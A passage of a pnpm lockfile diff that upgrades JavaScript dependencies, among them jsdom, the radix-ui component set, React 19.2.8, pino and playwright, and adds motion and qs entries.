-  jsdom@28.1.0(@noble/hashes@2.2.0):
+  jsdom@30.0.1(@noble/hashes@2.3.0):
     dependencies:
-      '@acemir/cssom': 0.9.31
-      '@asamuzakjp/dom-selector': 6.8.1
+      '@asamuzakjp/css-color': 6.0.7
+      '@asamuzakjp/dom-selector': 8.3.2
       '@bramus/specificity': 2.4.2
-      '@exodus/bytes': 1.15.0(@noble/hashes@2.2.0)
-      cssstyle: 6.2.0
-      data-urls: 7.0.0(@noble/hashes@2.2.0)
+      '@csstools/css-syntax-patches-for-csstree': 1.1.8(css-tree@3.2.1)
+      '@exodus/bytes': 1.15.1(@noble/hashes@2.3.0)
+      css-tree: 3.2.1
+      data-urls: 7.0.0(@noble/hashes@2.3.0)
       decimal.js: 10.6.0
-      html-encoding-sniffer: 6.0.0(@noble/hashes@2.2.0)
-      http-proxy-agent: 7.0.2
-      https-proxy-agent: 7.0.6
+      html-encoding-sniffer: 6.0.0(@noble/hashes@2.3.0)
       is-potential-custom-element-name: 1.0.1
-      parse5: 8.0.0
+      lru-cache: 11.5.2
+      parse5: 8.0.1
       saxes: 6.0.0
       symbol-tree: 3.2.4
-      tough-cookie: 6.0.1
-      undici: 7.24.4
+      tough-cookie: 6.0.2
+      undici: 8.10.0
       w3c-xmlserializer: 5.0.0
       webidl-conversions: 8.0.1
       whatwg-mimetype: 5.0.0
-      whatwg-url: 16.0.1(@noble/hashes@2.2.0)
+      whatwg-url: 17.1.0(@noble/hashes@2.3.0)
       xml-name-validator: 5.0.0
     transitivePeerDependencies:
       - '@noble/hashes'
-      - supports-color
 
   jsesc@3.1.0: {}
 
@@ -14683,7 +15281,7 @@ snapshots:
 
   kleur@4.1.5: {}
 
-  kysely@0.29.4: {}
+  kysely@0.29.5: {}
 
   layout-base@1.0.2: {}
 
@@ -14760,8 +15358,6 @@ snapshots:
 
   lru-cache@10.4.3: {}
 
-  lru-cache@11.2.7: {}
-
   lru-cache@11.5.2: {}
 
   lru-cache@5.1.1:
@@ -14775,9 +15371,9 @@ snapshots:
 
   lru_map@0.4.1: {}
 
-  lucide-react@0.577.0(react@19.2.7):
+  lucide-react@0.577.0(react@19.2.8):
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
 
   lz-string@1.5.0: {}
 
@@ -15349,9 +15945,9 @@ snapshots:
 
   min-indent@1.0.1: {}
 
-  minimatch@10.2.5:
+  minimatch@10.2.6:
     dependencies:
-      brace-expansion: 5.0.7
+      brace-expansion: 5.0.9
 
   minimatch@3.1.5:
     dependencies:
@@ -15360,7 +15956,7 @@ snapshots:
 
   minimatch@9.0.9:
     dependencies:
-      brace-expansion: 2.1.2
+      brace-expansion: 2.1.4
 
   minimist@1.2.8: {}
 
@@ -15415,6 +16011,20 @@ snapshots:
   mkdirp@1.0.4:
     optional: true
 
+  motion-dom@12.43.0:
+    dependencies:
+      motion-utils: 12.39.0
+
+  motion-utils@12.39.0: {}
+
+  motion@12.43.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8):
+    dependencies:
+      framer-motion: 12.43.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      tslib: 2.8.1
+    optionalDependencies:
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+
   mri@1.2.0: {}
 
   ms@2.1.3: {}
@@ -15431,9 +16041,9 @@ snapshots:
 
   nanoid@3.3.18: {}
 
-  nanoid@5.1.11: {}
+  nanoid@6.0.1: {}
 
-  nanostores@1.4.1: {}
+  nanostores@1.5.0: {}
 
   napi-build-utils@2.0.0:
     optional: true
@@ -15478,9 +16088,7 @@ snapshots:
       - supports-color
     optional: true
 
-  node-releases@2.0.27: {}
-
-  node-releases@2.0.51: {}
+  node-releases@2.0.53: {}
 
   nopt@5.0.0:
     dependencies:
@@ -15521,19 +16129,19 @@ snapshots:
 
   open@10.2.0:
     dependencies:
-      default-browser: 5.5.0
+      default-browser: 5.5.1
       define-lazy-prop: 3.0.0
       is-inside-container: 1.0.0
       wsl-utils: 0.1.0
 
-  open@11.0.0:
+  open@11.0.1:
     dependencies:
-      default-browser: 5.5.0
+      default-browser: 5.5.1
       define-lazy-prop: 3.0.0
       is-in-ssh: 1.0.0
       is-inside-container: 1.0.0
-      powershell-utils: 0.1.0
-      wsl-utils: 0.3.1
+      powershell-utils: 0.2.0
+      wsl-utils: 1.0.0
 
   outvariant@1.4.0: {}
 
@@ -15603,13 +16211,9 @@ snapshots:
       is-decimal: 2.0.1
       is-hexadecimal: 2.0.1
 
-  parse5@7.3.0:
+  parse5@8.0.1:
     dependencies:
-      entities: 6.0.1
-
-  parse5@8.0.0:
-    dependencies:
-      entities: 6.0.1
+      entities: 8.0.0
 
   parseurl@1.3.3: {}
 
@@ -15677,20 +16281,16 @@ snapshots:
 
   picomatch@4.0.5: {}
 
-  pino-abstract-transport@2.0.0:
-    dependencies:
-      split2: 4.2.0
-
   pino-abstract-transport@3.0.0:
     dependencies:
       split2: 4.2.0
 
-  pino-http@10.5.0:
+  pino-http@11.0.0:
     dependencies:
       get-caller-file: 2.0.5
-      pino: 9.14.0
+      pino: 10.3.1
       pino-std-serializers: 7.1.0
-      process-warning: 5.0.0
+      process-warning: 5.1.0
 
   pino-pretty@13.1.3:
     dependencies:
@@ -15710,27 +16310,27 @@ snapshots:
 
   pino-std-serializers@7.1.0: {}
 
-  pino@9.14.0:
+  pino@10.3.1:
     dependencies:
       '@pinojs/redact': 0.4.0
       atomic-sleep: 1.0.0
       on-exit-leak-free: 2.1.2
-      pino-abstract-transport: 2.0.0
+      pino-abstract-transport: 3.0.0
       pino-std-serializers: 7.1.0
-      process-warning: 5.0.0
+      process-warning: 5.1.0
       quick-format-unescaped: 4.0.4
       real-require: 0.2.0
       safe-stable-stringify: 2.5.0
       sonic-boom: 4.2.1
-      thread-stream: 3.1.0
+      thread-stream: 4.2.0
 
   pkce-challenge@5.0.1: {}
 
-  playwright-core@1.61.1: {}
+  playwright-core@1.62.1: {}
 
-  playwright@1.61.1:
+  playwright@1.62.1:
     dependencies:
-      playwright-core: 1.61.1
+      playwright-core: 1.62.1
     optionalDependencies:
       fsevents: 2.3.2
 
@@ -15766,6 +16366,8 @@ snapshots:
 
   powershell-utils@0.1.0: {}
 
+  powershell-utils@0.2.0: {}
+
   prebuild-install@7.1.3:
     dependencies:
       detect-libc: 2.1.2
@@ -15788,7 +16390,7 @@ snapshots:
       ansi-styles: 5.2.0
       react-is: 17.0.2
 
-  process-warning@5.0.0: {}
+  process-warning@5.1.0: {}
 
   promise-inflight@1.0.1:
     optional: true
@@ -15831,70 +16433,75 @@ snapshots:
     dependencies:
       side-channel: 1.1.0
 
+  qs@6.15.3:
+    dependencies:
+      es-define-property: 1.0.1
+      side-channel: 1.1.1
+
   quick-format-unescaped@4.0.4: {}
 
-  radix-ui@1.6.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7):
+  radix-ui@1.6.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8):
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-accessible-icon': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-accordion': 1.2.17(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-alert-dialog': 1.1.20(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-arrow': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-aspect-ratio': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-avatar': 1.2.3(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-checkbox': 1.3.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-collapsible': 1.1.17(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-collection': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context-menu': 2.3.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-dialog': 1.1.20(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-dropdown-menu': 2.1.21(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-focus-guards': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-focus-scope': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-form': 0.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-hover-card': 1.1.20(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-label': 2.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-menu': 2.1.21(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-menubar': 1.1.21(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-navigation-menu': 1.2.19(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-one-time-password-field': 0.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-password-toggle-field': 0.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-popover': 1.1.20(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-popper': 1.3.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-portal': 1.1.14(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-progress': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-radio-group': 1.4.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-roving-focus': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-scroll-area': 1.2.15(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-select': 2.3.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-separator': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slider': 1.4.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-switch': 1.3.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-tabs': 1.1.18(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-toast': 1.2.20(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-toggle': 1.1.15(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-toggle-group': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-toolbar': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-tooltip': 1.2.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-effect-event': 0.0.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-escape-keydown': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-is-hydrated': 0.1.1(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-size': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-visually-hidden': 1.2.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-accessible-icon': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-accordion': 1.2.20(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-alert-dialog': 1.1.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-arrow': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-aspect-ratio': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-avatar': 1.2.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-checkbox': 1.3.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-collapsible': 1.1.20(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context-menu': 2.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-dialog': 1.1.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-dropdown-menu': 2.1.24(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-focus-guards': 1.1.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-focus-scope': 1.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-form': 0.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-hover-card': 1.1.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-label': 2.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-menu': 2.1.24(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-menubar': 1.1.24(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-navigation-menu': 1.2.22(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-one-time-password-field': 0.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-password-toggle-field': 0.1.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-popover': 1.1.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-popper': 1.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-portal': 1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-progress': 1.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-radio-group': 1.4.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-roving-focus': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-scroll-area': 1.2.18(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-select': 2.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-separator': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slider': 1.4.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slot': 1.3.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-switch': 1.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-tabs': 1.1.21(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-toast': 1.2.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-toggle': 1.1.18(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-toggle-group': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-toolbar': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-tooltip': 1.2.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-effect-event': 0.0.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-escape-keydown': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-is-hydrated': 0.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-size': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-visually-hidden': 1.2.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
   range-parser@1.2.1: {}
 
@@ -15924,8 +16531,8 @@ snapshots:
   react-docgen@8.0.3:
     dependencies:
       '@babel/core': 7.29.7
-      '@babel/traverse': 7.29.7
-      '@babel/types': 7.29.7
+      '@babel/traverse': 7.29.8
+      '@babel/types': 7.29.8
       '@types/babel__core': 7.20.5
       '@types/babel__traverse': 7.28.0
       '@types/doctrine': 0.0.9
@@ -15936,40 +16543,40 @@ snapshots:
     transitivePeerDependencies:
       - supports-color
 
-  react-dom@19.2.7(react@19.2.7):
+  react-dom@19.2.8(react@19.2.8):
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
       scheduler: 0.27.0
 
-  react-hook-form@7.79.0(react@19.2.7):
+  react-hook-form@7.79.0(react@19.2.8):
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
 
-  react-i18next@17.0.10(i18next@26.3.6(typescript@5.9.3))(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(typescript@5.9.3):
+  react-i18next@17.0.11(i18next@26.3.6(typescript@5.9.3))(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(typescript@5.9.3):
     dependencies:
       '@babel/runtime': 7.29.7
-      html-parse-stringify: 3.0.1
+      html-parse-stringify: 4.0.1
       i18next: 26.3.6(typescript@5.9.3)
-      react: 19.2.7
-      use-sync-external-store: 1.6.0(react@19.2.7)
+      react: 19.2.8
+      use-sync-external-store: 1.6.0(react@19.2.8)
     optionalDependencies:
-      react-dom: 19.2.7(react@19.2.7)
+      react-dom: 19.2.8(react@19.2.8)
       typescript: 5.9.3
 
   react-is@16.13.1: {}
 
   react-is@17.0.2: {}
 
-  react-markdown@10.1.0(@types/react@19.2.17)(react@19.2.7):
+  react-markdown@10.1.0(@types/react@19.2.18)(react@19.2.8):
     dependencies:
       '@types/hast': 3.0.4
       '@types/mdast': 4.0.4
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
       devlop: 1.1.0
       hast-util-to-jsx-runtime: 2.3.6
       html-url-attributes: 3.0.1
       mdast-util-to-hast: 13.2.1
-      react: 19.2.7
+      react: 19.2.8
       remark-parse: 11.0.0
       remark-rehype: 11.1.2
       unified: 11.0.5
@@ -15978,64 +16585,64 @@ snapshots:
     transitivePeerDependencies:
       - supports-color
 
-  react-refresh@0.17.0: {}
+  react-refresh@0.18.0: {}
 
-  react-remove-scroll-bar@2.3.8(@types/react@19.2.17)(react@19.2.7):
+  react-remove-scroll-bar@2.3.8(@types/react@19.2.18)(react@19.2.8):
     dependencies:
-      react: 19.2.7
-      react-style-singleton: 2.2.3(@types/react@19.2.17)(react@19.2.7)
+      react: 19.2.8
+      react-style-singleton: 2.2.3(@types/react@19.2.18)(react@19.2.8)
       tslib: 2.8.1
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  react-remove-scroll@2.7.2(@types/react@19.2.17)(react@19.2.7):
+  react-remove-scroll@2.7.2(@types/react@19.2.18)(react@19.2.8):
     dependencies:
-      react: 19.2.7
-      react-remove-scroll-bar: 2.3.8(@types/react@19.2.17)(react@19.2.7)
-      react-style-singleton: 2.2.3(@types/react@19.2.17)(react@19.2.7)
+      react: 19.2.8
+      react-remove-scroll-bar: 2.3.8(@types/react@19.2.18)(react@19.2.8)
+      react-style-singleton: 2.2.3(@types/react@19.2.18)(react@19.2.8)
       tslib: 2.8.1
-      use-callback-ref: 1.3.3(@types/react@19.2.17)(react@19.2.7)
-      use-sidecar: 1.1.3(@types/react@19.2.17)(react@19.2.7)
+      use-callback-ref: 1.3.3(@types/react@19.2.18)(react@19.2.8)
+      use-sidecar: 1.1.3(@types/react@19.2.18)(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  react-resizable-panels@4.12.2(react-dom@19.2.7(react@19.2.7))(react@19.2.7):
+  react-resizable-panels@4.12.2(react-dom@19.2.8(react@19.2.8))(react@19.2.8):
     dependencies:
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
 
-  react-router-dom@7.18.1(react-dom@19.2.7(react@19.2.7))(react@19.2.7):
+  react-router-dom@7.18.2(react-dom@19.2.8(react@19.2.8))(react@19.2.8):
     dependencies:
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      react-router: 7.18.1(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      react-router: 7.18.2(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
 
-  react-router@7.18.1(react-dom@19.2.7(react@19.2.7))(react@19.2.7):
+  react-router@7.18.2(react-dom@19.2.8(react@19.2.8))(react@19.2.8):
     dependencies:
       cookie: 1.1.1
-      react: 19.2.7
+      react: 19.2.8
       set-cookie-parser: 2.7.2
     optionalDependencies:
-      react-dom: 19.2.7(react@19.2.7)
